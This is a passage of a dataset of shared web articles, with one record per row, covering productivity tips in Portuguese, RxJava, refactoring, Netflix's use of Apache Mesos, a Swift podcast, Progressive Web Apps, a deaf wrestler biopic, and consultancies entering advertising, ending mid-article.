rapidamente, para assim conseguir inserir mais coisas na lista não é ser produtivo, assim como trabalhar 15 horas por dia, sacrificando sua vida pessoal, sua saúde e seu descanso. Afinal de contas, o que é produtividade? Diferente de tudo o que falamos até aqui, produtividade significa usar uma quantidade mínima de recursos e mesmo assim atingir bons resultados. É um conceito muito semelhante com o significado da palavra ""eficiência"", que nada mais é que atingir um objetivo ou o máximo de resultado, usando uma quantidade mínima de esforço, tempo e recursos. Ou seja, fazer mais, com menos esforço e em menos tempo. Independente de como é a nossa definição de produtividade, o fato é que cada pessoa vai entender o termo da maneira que preferir. Para uns ser produtivo significa produzir muito, sem nem considerar a relevância das atividades. Para outros, é ser o expert na gestão do tempo para fazer mais em menos tempo. Sem falar naqueles que acreditam que a produtividade está relacionada com a capacidade de entregar tarefas com resultados mais impactantes, como aumento dos lucros, por exemplo. Ser produtivo significa saber qual objetivo se quer atingir e quais os caminhos para chegar lá, de maneira que seja possível planejar as atividades de acordo com suas prioridades de execução. A maneira como você vai enxergar o conceito de produtividade é indiferente, desde que se tenha em mente que manter uma agenda muito ocupada apenas para mostrar aos outros como se é produtivo, é uma atitude que não leva a lugar algum. Pensar assim só serve para desperdiçar seu tempo e diminuir sua qualidade de vida. A melhor maneira de definir produtividade é aquela que faz sentido para você, o torna uma pessoa mais feliz, e com a sensação de dever cumprido ao final do dia. Os principais inimigos da produtividade Como falamos no início, no entanto, ser uma pessoa produtiva em tempos de conexão web constante não é tarefa fácil. Da mesma maneira que o excesso de informação, a tecnologia digital trouxe o entretenimento para a palma da nossa mão. Não estamos dizendo que acessar as redes sociais e ver vídeos online seja uma atividade errada. No entanto, a partir do momento em que você faz isso quando deveria estar produzindo algo, esta atividade se torna uma distração, e portanto inimiga da produtividade. Redes sociais É uma unanimidade considerar as redes sociais como os maiores inimigos da produtividade. O problema é que é muito tênue a linha que separa o que é trabalho, daquilo que é diversão nestes sites. Afinal de contas, além das particularidades das redes que têm objetivos profissionais e de conhecimento - como o e o Slideshare - todas elas podem ser usadas também para comunicação interpessoal. A solução, então, é aprender a usá-las de uma maneira mais eficiente, como por exemplo, definindo horários do dia para acessar estes sites, com um tempo de permanência definido e em um navegador diferente daquele em que você trabalha. E-mail O segundo maior inimigo da produtividade também pode ser considerado uma unanimidade, afinal de contas, quem é que não é viciado em conferir a caixa de entrada - ainda mais quando se está esperando aquela mensagem especial? Para evitar este problema, da mesma forma que com as redes sociais, procure conferir seus e-mails apenas em períodos pré-definidos ao longo do dia - como o início da manhã ou o final da tarde -, e de preferência em horários que você possa tomar uma ação sobre eles, como responder ou apagar a mensagem. Sair de listas de e-mails desnecessárias e irrelevantes também vai ajudar a economizar tempo aqui. Procrastinação Seres humanos têm uma tendência natural à procrastinação, e sim, este é mais um dos grandes inimigos da produtividade. Procrastinar nada mais é que adiar a realização de atividades, em especial quando elas envolvem mais esforço ou tempo para a sua concretização. Aprender a encarar tudo de frente e realizar as tarefas independente da sua complexidade são ações fundamentais para atingir a produtividade. Portanto, se você sempre sai da sua mesa de trabalho para fazer coisas sem urgência, enche sua lista de tarefas com atividades irrelevantes, e no final do dia não consegue realizar metade delas, fique atento. A armadilha da procrastinação está a ponto de te pegar! Separamos as 14 melhores dicas para aumentar produtividade: 1. Desista de ser multitarefas Muitos profissionais ficam orgulhosos quando conseguem fazer várias atividades ao mesmo tempo, no entanto, de acordo com uma pesquisa da Harvard Business Review fazer isso significa 40% menos produtividade e 10% a mais no estresse. É impossível para o cérebro humano se concentrar em mais de uma atividade que exija esforço intelectual ao mesmo tempo. Por isso, organize seu dia para fazer uma coisa de cada vez, e só começa a próxima atividade quando a anterior estiver concluída. 2. Aprenda a lidar com o excesso de informação A internet trouxe para a nossa vida possibilidades de acesso ao conhecimento que antes não seriam nem mesmo imaginadas. No entanto, junto destas possibilidades, ela ajudou a criar um problema com o qual todos temos que lidar diariamente: o excesso de informação. É uma bola de neve: o número de informações disponíveis só tende a crescer, e quanto mais consumimos, mais nós queremos consumir. No final do dia todos ficamos sobrecarregados com esta situação. Para que este problema não afete sua produtividade, procure filtrar as informações conforme suas necessidades, e uma vez que tiver o suficiente, pare de pesquisar e parta para a ação. 3. Entenda como você produz ao longo do dia Para ser mais produtivo, antes de qualquer coisa, é preciso conhecer muito bem seu perfil profissional e de trabalho. Isso inclui uma análise dos períodos do dia em que sua criatividade e sua capacidade de execução mais fluem. Nem todos conseguem se adequar ao tradicional horário comercial de trabalho, e por isso é importante saber o que faz mais sentido para você. Entenda qual é seu melhor horário de trabalho, e a partir disso, se esforce para conseguir trabalhar sem ser interrompido ao longo destes períodos. 4. Detalhe sua rotina Para uma boa execução de atividades, planejamento e organização são fundamentais. Nada melhor então que detalhar sua rotina ideal para um bom dia de trabalho: desde a hora em que você acorda até os momentos de pausa durante o trabalho. Quanto mais organizada for a rotina, melhores serão os resultados produtivos. 5. Tenha uma boa alimentação Pode não parecer, mas o que você come tem total influência na produtividade, já que são os alimentos que garantem nossa energia ao longo do dia. Segundo a Organização Mundial da Saúde (OMS), manter uma alimentação saudável e balanceada pode ajudar a aumentar a sua produtividade em até 20%. Alimentos como peixes e grãos são bons para manter a disposição ao longo de um dia de trabalho, enquanto os doces são os grandes vilões, já que enviam uma quantidade muito grande de glicose para o sangue, o que provoca a sensação de cansaço. 6. Garanta uma noite de sono tranquila Não é preciso ser um grande entendedor da produtividade para saber que uma noite bem dormida é fundamental para ser mais produtivo. Dormir mal é praticamente sinônimo de um dia seguinte com baixos níveis de energia. A quantidade ideal, no entanto, varia de acordo com a pessoa, mas independente do tempo necessário, seu corpo preciso de um momento de descanso para recarregar as energias. 7. Pratique uma atividade física Praticar exercícios físicos é uma atividade fundamental para uma vida saudável, indo muito além de questões estéticas e de aparência. Para melhorar a energia e o poder de concentração, faça exercícios regulares, de pelo menos 30 minutos por dia, para ajudar a trabalhar seu corpo e sua mente. 8. Tenha cuidado com seu ambiente de trabalho Um trabalho de qualidade começa por um ambiente confortável e bem organizado. Para auxiliar na sua produtividade fique sempre atento à organização da sua mesa de trabalho, assim como ao conforto proporcionado pela combinação da sua mesa, com sua cadeira e seu computador. A decoração também pode fazer a diferença neste ponto. Segundo um estudo da Universidade de Queensland, na Inglaterra, ambientes de trabalho com plantas podem gerar um aumento de produtividade em até 15%. 9. Prepare suas reuniões para serem mais objetivas Reuniões de trabalho costumam ser momentos chatos, lentos e pouquíssima produtividade - quando não são planejadas para serem otimizadas, claro! Para garantir que o tempo em reunião será utilizado de forma produtiva, sem interferir no trabalho de nenhum dos participantes, procure sempre planejar a conversa antes, assim como o tempo máximo de duração do encontro. Durante a reunião procure sempre ser claro e objetivo, indo direto ao ponto, e procurando sempre seguir o que foi definido previamente na pauta. 10. Faça pausas a cada 1h30 de trabalho Muitos profissionais se sentem culpados ao fazer pausas de trabalho além do almoço, mesmo sabendo que é impossível para o cérebro humano manter o nível de concentração alto o dia todo. Para resolver isso, Tony Schwartz, autor do livro ""The way we're working isn't working"", diz que fazer pausas de 20 minutos a cada 1 hora e meia de trabalho é a receita para ser ainda mais produtivo. 11. Comece pelas tarefas mais difíceis As tarefas mais difíceis costumam ser aquelas que mais tomam tempo para serem realizadas. Por este motivo, a maioria das pessoas acaba sempre deixando essas atividades para depois, e começam o dia pelas mais simples. Para ser mais produtivo, comece seu dia sempre pelas tarefas mais árduas pois assim você estará combinando a complexidade da atividade com seus níveis de energia disponível. Ou seja, você vai fazer o que demanda mais justamente no momento em que tem mais energia para gastar. 12. Analise seu trabalho e se planeje com frequência A tentação de quem busca ser mais produtivo é sempre executar, mas acontece que em muitos momentos é preciso parar para um olhar em direção ao dia ou à semana que passou. Isso serve para analisar o que funcionou e o que não funcionou, de maneira que você possa corrigir eventuais problemas. Planejar tudo o que precisa ser executado na semana logo no domingo à noite, e diariamente parar para planejar o dia seguinte, são iniciativas que vão economizar um tempo grande nas suas manhãs, que poderão ser dedicadas ao máximo de produtividade. 13. Divida as tarefas em pequenas etapas Muitas vezes os profissionais ficam desmotivados quando se vêem diante de uma tarefa gigantesca que parece interminável. Para evitar esse problema divida as tarefas grandes em pequenas atividades. Com isso, sua percepção de evolução ficará muito mais evidente, e mesmo que não a complete como um todo, no final do dia você terá a sensação de estar mais próximo do objetivo final. 14. Aprenda a priorizar Na hora de fazer a lista de atividades é fundamental saber priorizar o que realmente é importante. Isso significa trabalhar para dar mais atenção às tarefas mais determinantes, e mais do que isso, ter capacidade de dizer não para tudo aquilo que não é importante para o seu trabalho. Todas as pessoas que buscam resultados diferenciados são as mesmas que desejam um aumento de produtividade, e a realidade é que, independente da sua profissão e do seu setor de atuação, todos temos as mesmas 24 horas para realizar nossas atividades e atingir nossos objetivos. Cabe a cada um de nós, então, entender qual o nosso perfil profissional e de que forma podemos potencializar nossa produtividade ao longo dos dias de trabalho. Continue navegando no blog, e aprenda quais são os principais erros no Linkedin que podem manchar sua carreira!",pt
1470021191,CONTENT SHARED,-7564569805639737618,2653698047369148236,4009496569130359022,,,,HTML,https://www.infoq.com/br/presentations/programacao-reativa-funcional-com-rxjava,Programação Reativa Funcional com RxJava,"Resumo ​Nessa palestra, serão exploradas as principais técnicas para conquistar a API RxJava, desde a criação de Observables e sua manipulação, até o tratamento de erros durante o pipeline de operações. Será visto como lidar com Backpressure de forma efetiva, e como abstrair seu framework assíncrono preferido para se integrar em fluxos reativos, entre outras técnicas. Minibiografia Ubiratan Soares é Engenheiro de Software, formado pela USP. Trabalha com mobilidade e desenvolvimento para Android, participou diretamente em alguns dos maiores aplicativos nacionais. Também é instrutor da Globalcode, co-organizador do GDG São Paulo, palestrante, pai e filósofo wanna-be. Faz parte do programa Google Developer Experts para Android e do Android Software Innovator da Intel. Entre 28 de março e 1° de abril, São Paulo recebeu a nona edição brasileira do QCon. Organizado pelo InfoQ Brasil e com palestras selecionadas por um comitê independente, esta edição contou com 3 keynotes, 100 palestras e 13 workshops, totalizando 130 horas de conteúdo, o que levou o QCon São Paulo ao patamar dos maiores QCons mundiais.",pt
1470051678,CONTENT SHARED,2708089973817733462,7645894863578715801,8873526859008375851,,,,HTML,https://blog.frankel.ch/dont-talk-about-refactoring-club/,You don't talk about refactoring club,"The first rule of Fight Club is: You do not talk about Fight Club. The second rule of Fight Club is: You do not talk about Fight Club. I guess the same could be said about refactoring. That would first requires to define what I mean by refactoring in the context of this post : Refactoring is any action on the codebase that improves quality. Which in turn requires to define what is quality. Everyone I've talked with agrees on this: it's quite hard to do. Let's settle for now for the following tentative explanation: Quality is a feature of the codebase (including and not limited to architecture, design, etc.) which the lack of stalls further meaningful changes in the codebase. At the limits: 100% quality means changing the codebase to develop a new feature would require the smallest possible time; 0% quality means the time to do it would be infinite. Given this definition, refactoring includes: Now back to the subject of this post. Should we ask the customer/manager if a refactoring is necessary? Should we put a refactoring sprint in the backlog? I've witnessed first hand many cases where it was asked. As expected, in nearly all cases, the decision was not to perform the refactoring. Taking ages to implement some feature? No design change. Not enough test harness? No tests added. Why? Because the customer/manager has no clue what refactoring and quality means. Let's use a simple analogy: when I take my car to the mechanic, do I get to choose whether he'll check if the repairs have been correctly executed? Not at all. Checks are part of the overall package I get when I choose a professional mechanic. If choice was made possible, some people who probably opt not to do the checks - to pay less. So far, so good. But then if trouble happened, and probability is in favor of that, the mechanic would be in deep trouble. Because he's the professional and didn't do his job well. Developers would also get into trouble if they delivered applications with no tests or with a messy codebase; not their customer nor their manager - especially not their managing (depending on their kind of manager if you catch my drift). So I wonder why developers have to let people that don't know about code taking such important decisions. As a professional developer, you and no one else are responsible for the quality of the application you deliver. Your name is in the source code and the commit history, not your manager's. Stop searching for excuses not to refactor: don't ask, do it. Refactoring is part of the software development package, period. Please enable JavaScript to view the",en
1470052582,CONTENT SHARED,6186282670048283099,7645894863578715801,8873526859008375851,,,,HTML,http://techblog.netflix.com/2016/07/distributed-resource-scheduling-with.html,The Netflix Tech Blog: Distributed Resource Scheduling with Apache Mesos,"Netflix uses Apache Mesos to run a mix of batch, stream processing, and service style workloads. For over two years, we have seen an increased usage for a variety of use cases including real time anomaly detection, training and model building batch jobs, machine learning orchestration, and Node.js based microservices. The recent release of Apache Mesos 1.0 represents maturity of the technology that has evolved significantly since we first started to experiment with it. Our initial use of Apache Mesos was motivated by fine grained resource allocation to tasks of various sizes that can be bin packed to a single EC2 instance. In the absence of Mesos, or a similar resource manager, we would have had to forego fine grained allocation for increased number of instances with suboptimal usage, or develop a technology similar to Mesos, or at least a subset of it. The increasing adoption of containers for stream processing and batch jobs continues to drive usage in Mesos-based resource scheduling. More recently, developer benefits from working with Docker-based containers brought in a set of service style workloads on Mesos clusters. We present here an overview of some of the projects using Apache Mesos across Netflix engineering. We show the different use cases they address and how they each use the technology effectively. For further details on each of the projects, we provide links to other posts in sections below. In order to allocate resources from various EC2 instances to tasks, we need a resource manager that makes the resources available for scheduling and carries out the logistics of launching and monitoring the tasks over a distributed set of EC2 instances. Apache Mesos separates out resource allocation to ""frameworks"" that wish to use the cluster, from scheduling of resources to tasks by the frameworks. While Mesos determines how many resources are allocated to a framework, the framework's scheduler determines which resources to assign to which tasks, and when. The schedulers are presented a relatively simple API so they can focus on the scheduling logic and react to failures, which are inevitable in a distributed system. This allows users to write different schedulers that cater to various use cases, instead of Mesos having to be the single monolithic scheduler for all use cases. The diagram below from Mesos documentation shows ""Framework 1"" receiving an offer from ""Agent 1"" and launching two tasks. The Mesos community has seen multiple schedulers developed over time that cater to specific use cases and present specific APIs to their users. Netflix runs various microservices in an elastic cloud, AWS EC2. Operating Mesos clusters in a cloud native environment required us to ensure that the schedulers can handle two aspects in addition to what the schedulers that operate in a data center environment do - increased ephemerality of the agents running the tasks, and the ability to autoscale the Mesos agent cluster based on demand. Also, the use cases we had in mind called for a more advanced scheduling of resources than a kind of assignment. For example, bin packing of tasks to agents by their use of CPUs, memory, and network bandwidth in order to minimize fragmentation of resources. Bin packing also helps us free up as many agents as possible to ease down scaling of the agent cluster by terminating idle agents without terminating running tasks. Identifying a gap in such capabilities among the existing schedulers, last year we contributed a scheduling library called . Fenzo autoscales the agent cluster based on demand and assigns resources to tasks based on multiple scheduling objectives composed via fitness criteria and constraints. The fitness criteria and the constraints are extensible via plugins, with a few common implementations built in, such as bin packing and spreading tasks of a job across EC2 availability zones for high availability. Any Mesos framework that runs on the JVM can use the Fenzo Java library. Here are three projects currently running Apache Mesos clusters. is a reactive stream processing platform that operates as a cloud native service with a focus on operational data streams. Mantis covers varied use cases including real-time dashboarding, alerting, anomaly detection, metric generation, and ad-hoc interactive exploration of streaming data. We created Mantis to make it easy for teams to get access to real-time events and build applications on top of them. Currently, Mantis is processing event streams of up to 8 million events per second and running hundreds of stream-processing jobs around the clock. One such job focuses on individual titles, processing fine-grained insights to figure out if, for example, there are playback issues with House of Cards, Season 4, Episode 1 on iPads in Brazil. This amounts to tracking millions of unique combinations of data all the time. The Mantis platform comprises a master and an agent cluster. Users submit stream-processing applications as jobs that run as one or more workers on the agent cluster. The master uses the Fenzo scheduling library with Apache Mesos to optimally assign resources to a job's workers. One such assignment objective places perpetual stream processing jobs on agents separate from those running transient interactive jobs. This helps scale down of the agent cluster when the transient jobs complete. The below diagram shows Mantis architecture. Workers from the various jobs may run on the same agent using Cgroups based resource isolation. is a Docker container job management and execution platform. Initially, Titus served batch jobs that included algorithm training (similar titles for recommendations, A/B test cell analysis, etc.) as well as hourly ad-hoc reporting and analysis jobs. More recently, Titus has started to support service style jobs (Netflix microservices) that are in need of a consistent local development experience as well as more fine grained resource management. Titus' initial service style use is for the API re-architecture using server side NodeJS . The above architecture diagram for Titus shows its Master using Fenzo to assign resources from Mesos agents. Titus provides tight integration into the Netflix microservices and AWS ecosystem, including integrations for service discovery, software based load balancing, monitoring, and our CI/CD pipeline, Spinnaker. The ability to write custom executors in Mesos allows us to easily tune the container runtime to fit in with the rest of the ecosystem. is a general purpose workflow orchestration and scheduling framework that was built to manage machine learning pipelines. Meson caters to a heterogeneous mix of jobs with varying resource requirements for CPU, memory, and disk space. It supports the running of Spark jobs along with other batch jobs in a shared cluster. Tasks are resource isolated on the agents using Cgroups based isolation. The Meson scheduler evaluates readiness of tasks based on a graph and launches the ready tasks using resource offers from Mesos. Failure handling includes re-launching failed tasks as well as terminating tasks determined to have gone astray. The above diagram shows Meson's architecture. The Meson team is currently working on enhancing its scheduling capabilities using the Fenzo scheduling library. As we continue to evolve Mantis, Titus, and Meson projects, Apache Mesos provides a stable, reliable, and scalable resource management platform. We engage with the Mesos community through our open source contribution, , and by exchanging ideas at MesosCon conferences - connect with us at the upcoming MesosCon Europe 2016 , or see our past sessions from , , and earlier this year ( Lessons learned and ). Our future work on these projects includes adding SLAs (service level agreements - such as disparate capacity guarantees for service and batch style jobs), security hardening of agents and containers, increasing operational efficiency and visibility, and adoption across a broader set of use cases. There are exciting projects in the pipeline across Mesos, Fenzo, and our frameworks to make these and other efforts successful. Sharma Podila, Andrew Spyker, Neeraj Joshi, Antony Arokiasamy",en
1470055507,CONTENT SHARED,-6732229745645090645,-1848938642635494958,6120300414444180284,,,,RICH,https://itunes.apple.com/us/podcast/swiftcoders/id1082937962?mt=2,SwiftCoders by Garric Nahapetian on iTunes,"iTunes is the world's easiest way to organize and add to your digital media collection. We are unable to find iTunes on your computer. To download and subscribe to SwiftCoders by Garric Nahapetian, get iTunes now. Already have iTunes? Click I Have iTunes to open it now. iTunes for Mac + PC By Garric Nahapetian To listen to an audio podcast, mouse over the title and click Play. Open iTunes to download and subscribe to podcasts. Description Weekly interviews with Swift developers about their experience with Apple's new open source programming language. Hear their stories, learn tips and tricks, and leave empowered. Name Description Price Customer Reviews Great podcast by Giuliano I've listened to the podcast and it gives me great motivation to keep learning and writing code in Swift. Nice interview by PeterLA81 As someone new to iOS development, Garric's interview with an experienced developer provides great insight and valuable guidance. Garric's interview style is relaxed but do not lose focus. I subscribed and look forward to more interviews on this podcast. Great Podcast! by migueliguel It's a great place to get started with swift. Listeners also subscribed to",en
1470055760,CONTENT SHARED,-1111518890369033396,5127372011815639401,-3485954857846807242,,,,HTML,https://cloudfour.com/thinks/the-business-case-for-progressive-web-apps/,The Business Case for Progressive Web Apps,"Technical articles about Progressive Web Apps abound, but few tackle the question of why businesses should build Progressive Web Apps and why they should do so now. Progressive Web Apps describe a collection of features that were previously only available in native applications. These features include: Extremely fast load times Ability to use apps offline (without an internet connection) Push notifications Installation to the home screen Now that these features are available using web technology, browser vendors such as Google, Opera, Firefox and Microsoft are providing incentives for businesses to adopt Progressive Web Apps. Browser vendors want to promote Progressive Web Apps not simply because they are the latest and greatest technology. They want to promote them because Progressive Web Apps represent the best practices for websites and applications. The biggest current incentive is that browsers will prompt visitors to install your Progressive Web App on their second visit. This criteria will change in the future as browsers learn more about when people install Progressive Web Apps. This is just the beginning. Microsoft is exploring how to add Progressive Web Apps to Windows Store . Google has a long list of ideas for app discovery that they are investigating. And it seems inevitable that search engines will give special treatment to Progressive Web Apps in the future. So you can consider Progressive Web Apps your early-bird ticket to future SEO . Progressive Web Apps aren't simply about bringing native features to the web. They solve real problems that businesses are facing. Problems that caused Recode to recently declare that the app boom is over . Standing out among the over 2 million available apps on the iOS App Store or Google Play Store is a tall task. The ability to convert paid or organic search visitors into Progressive Web App installs provides a better path than competing in app stores for attention. Comscore recently reported that most smartphone users download zero apps per month. Dan Frommer, summarizing the report for Quartz , said: Only about one-third of smartphone owners download any apps in an average month, with the bulk of those downloading one to three apps. While it is still early, Progressive Web Apps are designed to bypass app fatigue because: People discover apps naturally via social media links or while browsing the web. Install app prompts are only shown when the web app meets a defined criteria and the user has demonstrated interest through repeat visits. App installation is instantaneous. The heavy lifting is done in the background the first time a person visits a site. Apps are much smaller in size because they leverage the capabilities of the browser. Push notifications, offline mode and all of the other features still work even if the visitor never installs the app. App abandonment has been a problem since the earliest days of the app store, and the percentage of people who abandon apps continues to increase . Andrew Chen worked with mobile intelligence company Quettra to analyze app loyalty data : Based on Quettra's data, we can see that the average app loses 77% of its DAUs [Daily Active Users] within the first 3 days after the install. Within 30 days, it's lost 90% of DAUs. Within 90 days, it's over 95%. Push notifications help promote user engagement and encourage people to return to the app. Both United eXtra Electronic and Jumia saw significant increases in conversion and engagement after implementing web push notifications. Push notifications aren't a panacea for app loyalty. Andrew Chen cautions against notification spam: To me, this is further validation that the best way to bend the retention curve is to target the first few days of usage, and in particular the first visit. That way, users set up themselves up for success. This is why the combination of push notifications with the re-discoverability of the web via search and social is a boon. Product managers need to do everything they can to promote user engagement, but if someone drops off, Progressive Web Apps give us more tools to bring them back in via traditional web methods. Native apps can only be used on the platform for which they are created. You can no more use an iOS app on your Mac than you can on an Android device. Plus, native apps only benefit those who install them. Progressive Web Apps will work anywhere the web does whether installed or not. They will even work on platforms that don't yet support all of the features of Progressive Web Apps in the same way old computers can access the newest websites-minus some of the bells and whistles. Maintaining applications for multiple platforms is costly. In the future, Progressive Web Apps could reduce this cost by providing a single app that works on any platform. When you're not on the app store, you're not limited by the app store rules and you don't have to pay the app store 30% of sales. There are two main downsides to Progressive Web Apps. Progressive Web Apps are new technology so there are fewer examples to follow. Progressive Web Apps are not available everywhere yet. Yet, neither of these are impediments to moving forward with a Progressive Web App today. The phrase progressive enhancement refers to the idea that you can build an experience that works anywhere and then enhance the experience for devices that support more advanced features. Progressive Web Apps share this ethos. Devices that don't support all of the features of Progressive Web Apps will still benefit from the improvements made to support them. This is why AliExpress saw an 82% increase in iOS conversion after building a Progressive Web App despite the fact that iOS doesn't yet support Progressive Web Apps. The steps you take to build a Progressive Web app benefit anyone who visits your website regardless of what device they choose to use. If Progressive Webs Apps are brand new and not supported everywhere yet, why should businesses start building them now? Why not wait? Google has been publishing case studies from companies that adopt Progressive Web Apps and their results are encouraging. AliExpress increased conversion rates for new users by 104%. United eXtra Electronics saw 4x increase in re-engagement and 100% more sales from users arriving via web push. 5miles decreased bounce rate by 50% and increased conversions by 30%. Konga used 92% less data for the initial load versus their native app. The Washington Post has built a Progressive Web App that is installed in the background when people view its AMP pages in Google search results. The Washington Post has seen a 12% increase in return visits from Google search results due to AMP. It remains to be seen how the Washington Post's Progressive Web App will do-they only launched the beta in May-but the performance improvements are impressive. They've gone from articles requiring 8 seconds to load in 2013 to 80 milliseconds in the Progressive Web App. Nearly every feature of a progressive web app is something that you should consider adding to your website anyways. The performance benefits alone are reason enough to work towards a Progressive Web App. Better performance means more revenue. Depending on the site, there is a chance the performance improvements alone could justify the investment in a Progressive Web App. Each incremental improvement you make on the path to a Progressive Web App is an improvement that will benefit your visitors immediately. Next year or the year after at the latest, everyone will be talking about how they need to make a Progessive Web App. The benefits are obvious and the incentives will grow. But as more companies start building Progressive Web Apps, it will become harder to get noticed. Right now, it only takes two visits to your site for a user to get prompted to install a Progressive Web App, but as the space gets more crowded, that heuristic will likely change making it harder to gain app installs. It is a green field for Progressive Web Apps. The time to start is now.",en
1470069725,CONTENT SHARED,5441077925667941052,-2623844842607044962,-5293300679907040099,,,,HTML,https://culturasurda.net/2016/07/26/the-hammer/,[FILME] - The Hammer,"Categoria: Filmes País: Estados Unidos Ano: 2010 Título: "" The Hammer "" Línguas: Inglês e American Sign Language (ASL), legendas em Português ""The Hammer"", filme biográfico dirigido por Oren Kaplan, conta a história de Matt Hamill, um dos mais emblemáticos lutadores surdos dos Estados Unidos. Nascido em Loveland (Ohio, EUA), e incentivado desde criança por seu avô, Matt fez do wrestling (a luta livre) algo central em sua vida, não poupando esforços para ser o melhor. Quando jovem, depois de perder uma bolsa de estudos na Universidade de Purdue, Hamill ingressou na RIT ( Rochester Institute of Technology ), onde - além de brilhar em campeonatos nacionais - estreitou contato com o mundo surdo (e com a Língua de Sinais Americana) e conheceu Kristi, militante Surda por quem logo se apaixonou. Estrelado por Russel Harvard (clique aqui e aqui para assistir a outros vídeos com o ator), o filme conta com a participação de Shoshannah Stern, Michael Anthony Spady e Lexi Marman, também surdos, e traz à tona uma série de questões relacionadas ao dia-a-dia de pessoas surdas. CLIQUE AQUI PARA ASSISTIR AO FILME COMPLETO",pt
1470071010,CONTENT SHARED,5293701842202310496,-6067316262393890508,2245546651160341154,,,,HTML,https://contently.com/strategist/2016/07/29/can-accenture-take-over-advertising/,Can Accenture Take Over Advertising?,"Last month, in New York City's Soho neighborhood, global strategic consulting firm Accenture did something that might surprise you: It opened a 10,000-square-foot content studio. The goal? To develop advertising and marketing creative for its clients. Accenture's content studio includes a 3,500-square-foot post-production facility where the firm has the ability to cut and edit anything from a 30-second Facebook video to a Super Bowl spot. And there are six more studios in the works. The move is the latest in a string of developments that are pitting consultancies against agencies. Both are battling for content marketing dollars, relationships with C-suite executives, and above all, longterm partnerships with brands than transcend individual campaigns-and the conflict threatens to change the landscape of the advertising world. An opening In the past, consultancies focused on providing industry-specific business and management advice to brand clients. Now, thanks to an opening created by the digital disruption of advertising, they've created studios and digital agency arms meant to attract business that traditionally went to advertising agencies. How big are digital agencies born of strategic consultancy firms? Research firm and online resource Econsultancy ranked digital agencies based on their earnings for its "" Top 100 Digital Agencies "" report. Of the top five agencies, three-IBM iX, Accenture Interactive, and Deloitte Digital UK-are subsidiaries of consultancies. Plenty of the services offered by consultancy agencies are also offered by traditional ad agencies: marketing management, branding strategy, ad and content development, media planning, and so on. What consultancy agencies like Accenture Interactive and Deloitte Digital claim is that they have advantages ad agencies simply can't match, like vertical experts, global consumer insight, the manpower to produce thousands of pieces of content, and-because of their existing consulting relationships-a better understanding of how digital marketing can fit into an overall business strategy. In other words, consultancy agencies are leveraging their relationship with their larger consultancy parent companies for an edge. Meanwhile, ad agencies find themselves under assault by publisher agencies and major tech platforms , and the agency-of-record (AOR) model on which agency-marketer relationships have long been built-whereby companies assign their creative work to a single agency-appears to be waning. In recent years, Mondelez , Best Buy , and Frito-Lay have all moved away from AORs to instead work with multiple specialized shops. At last year's Association of National Advertisers' Masters of Marketing event, the president of PepsiCo's global beverage group warned that ""the agency model is not going to bend-it's going to break."" Are consultancy agencies, with their cross-business acumen and resources, poised to disrupt an industry that dates back centuries ? ""There is no doubt that traditional agencies are feeling the heat,"" said Susan Borst, senior director of industry initiatives with the Interactive Advertising Bureau (IAB). ""This is definitely an interesting time in ad land."" How media's transformation transformed consultancies Accenture's shift toward digital content marketing began several years ago with the launch of Accenture Digital in 2013. The company acquired London-based design firm Fjord in 2013, followed by Austin-based creative studio Chaotic Moon last year. What was starting to happen is that Accenture was being asked to ""step into the creative space,"" said Donna Tuths, Accenture Interactive's managing director and global head of digital content. The thinking was that if Accenture already handled companies' business strategy and intelligence, technology, infrastructure, and cloud computing needs, why not take on digital marketing, mobility, and analytics, too? At the same time, clients were increasingly ""decoupling"" their advertising production, meaning that they transferred video duties away from their agencies to work with production and post-production companies directly. That created an opportunity for Accenture to swoop in with a full-service digital offering. Accenture Interactive (part of Accenture Digital) categorizes its services as Experience, Marketing, Commerce, and Content, with Content being the largest. ""I see many of these things as no longer being the domain of agencies,"" said Tuths, who worked with such agencies as Ogilvy and Organic prior to joining Accenture. ""In a virtual world, you are your content. ... Consumers have begun to understand that, while many companies are just beginning to."" What's more, she said, ""They're starting to see the folly in trusting their brands to short-term, campaign-driven partners."" The move from a campaign mindset to an always-on mentality factored into the growth and success of strategic consultancy agency Deloitte Digital, which launched in 2012, as well. Alan Schulman, national director of brand creative and content marketing for Deloitte Digital, spent much of the last two decades making TV campaigns and accompanying digital content for major agencies. But he believes that approach is on its way out. ""You can't just go from campaign to campaign anymore,"" Schulman said, referring to the way many brands work with agencies on a project by project basis. ""We're now living in a time when consumers can turn your brand on or off 24/7, 365 days, so you better have stuff out there."" But Denise Blasevick, CEO of advertising and public relations agency The S3 Agency in New Jersey, says there's still a place for campaigns in the modern marketing world. ""For brand-driven organizations, I see the right mix as combining carefully pulsed content with appropriate punches of campaign advertising,"" she explained. ""That mix of strategic planning and creative execution remains the stronghold of traditional agencies."" Some in the agency world also maintain consultancies simply can't match the creative power and experience of ad agencies. ""Our business is-at the core- about ideas,"" said Laurent Ezekiel, managing director of the New York region and global client services director with DigitasLBi . ""And whilst our business has evolved and we live in an era of fragmentation, the alchemy of creativity and technology is where the magic happens for brands."" Ezekiel adds that DigitasLBi, which is owned by multinational advertising company Publicis Groupe and ranked seventh on Econsultancy's top agency list , has the benefit of experience. ""Since we, the agencies, have been in the creative business for several generations, clients will continue to engage with us to help evolve their brands."" The C-suite access advantage Schulman says he's been ""mightily impressed"" with what he's seen at Deloitte Digital since joining just over a year ago. That includes having direct access to decision makers on the brand client side, an advantage ad agencies have a difficult time matching. ""Consultancies are already pretty embedded in the C-suite, so it makes sense to start from strategy first and go from there to content,"" Schulman said, noting that all strategic directives come from Deloitte Consulting's Strategy & Operations group, while Deloitte Digital provides the copywriting, art direction, user experience, experiential design, and customer experience know-how. Bridging the gap between content and business operations, he notes, helps Deloitte Digital ensure that it's not just making buzz-worthy creative, but meeting its clients' overall and long-term goals. But for agencies of all kinds, a challenge remains: convincing CFOs of the critical importance of content. Digital content can be slow to deliver a return on investment. According to the Content Marketing Institute, it can take upwards of 15 months to monetize a content marketing program-which can make it a tough sell. The Content Marketing Institute also reports that only 30 percent of B2B marketers believe their organizations are effective at content marketing. Just 37 percent of B2C marketers say their content marketing is ""sophisticated or mature."" ""There's the tech, plumbing layer of marketing, and there's the poetry, creative layer,"" Schulman explained. ""Getting big organizations to think of these together and switch from a campaign structure to content marketing is not easy."" Deloitte Digital offers workshops and education tools around ideation, workflow process, and implementing creative to its C-Suite customers with the aim of getting them on board for the long haul. Schulman adds that CFOs ""glaze over pretty quickly"" when agencies talk about likes and shares. ""They want to know you were able to move the brand, advocacy, commercial results, or engagement from X to Y,"" he said. When a firm already has a CFO's ear-as is the case with Deloitte's clients, who already use the company for strategy and business operations advice-it stands to reason that it has an edge over traditional agencies, 